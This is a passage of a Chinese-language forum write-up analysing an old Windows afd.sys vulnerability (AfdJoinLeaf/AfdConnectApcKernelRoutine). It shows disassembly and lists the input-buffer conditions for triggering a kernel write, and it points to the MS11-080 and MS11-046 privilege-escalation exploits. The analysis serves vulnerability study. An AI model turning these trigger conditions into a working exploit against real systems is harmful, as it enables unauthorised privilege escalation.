PAGE:00017085
PAGE:00017085 loc_17085:                              ; CODE XREF: AfdJoinLeaf(x,x)+3DD↑j
PAGE:00017085                 lea     eax, [ebp+var_20]
PAGE:00017088                 push    eax
PAGE:00017089                 push    dword ptr [esi+18h]
PAGE:0001708C                 mov     eax, [esi+0Ch]
PAGE:0001708F                 shr     eax, 8
PAGE:00017092                 and     eax, 1
PAGE:00017095                 push    eax
PAGE:00017096                 mov     eax, [esi+4]
PAGE:00017099                 shr     eax, 9
PAGE:0001709C                 and     eax, 0FFFFFF01h
PAGE:000170A1                 push    eax
PAGE:000170A2                 push    dword ptr [esi+88h]
PAGE:000170A8                 mov     eax, [esi+8Ch]
PAGE:000170AE                 add     eax, 10h
PAGE:000170B1                 push    eax
PAGE:000170B2                 call    _AfdCreateConnection@24 ; AfdCreateConnection(x,x,x,x,x,x)

虽然在AfdJoinLeaf中存在了不对UserBuffer地址进行合法性检查的漏洞,但是对该值进行赋值操作的代码却不再这个函数中。它在以下的AfdRestartJoin函数中

该函数将会调用AfdConnectApcKernelRoutine来执行代码

在该函数中可以看到,程序将IRP的状态赋给了UserBuffer中保存的地址

PAGE:0001539F                 mov     eax, [esi+IRP.UserBuffer] ; 将UserBuffer的地址赋给eax
PAGE:000153A2                 mov     ecx, [esi+IRP.IoStatus.anonymous_0.Status] ; 将IRP的状态赋给ecx
PAGE:000153A5                 mov     [eax], ecx      ; 将UserBuffer中保存的内容赋值为IRP的状态

四.漏洞利用

由上面分析可以得出下面的结论,在AfdJoinLeaf中最终会调用到afdConnectApcKernelRoutine,在这个函数中会对UserBuffer的地址赋值为IRP的状态。而要调用到这个函数则需要满足下面的条件

  1. 输入缓冲区的长度必须大于0x18

  2. 输入缓冲区偏移0x8的地址中保存的数据不可以为0

  3. 输入缓冲区偏移为0xC的值必须为1,并且输入缓冲区的长度减去0xC的值需要大于输入缓冲区偏移为0x10处保存的内容+8的值

  4. 套接字需要连接到开放的端口以保持CONNECTING状态

具体的利用代码请参考:MS11-080、MS11-046两个提权代码

五.参考资料

  • 《漏洞战争》


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2022-3-9 09:41 被1900编辑 ,原因:
上传的附件:
收藏
点赞3
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回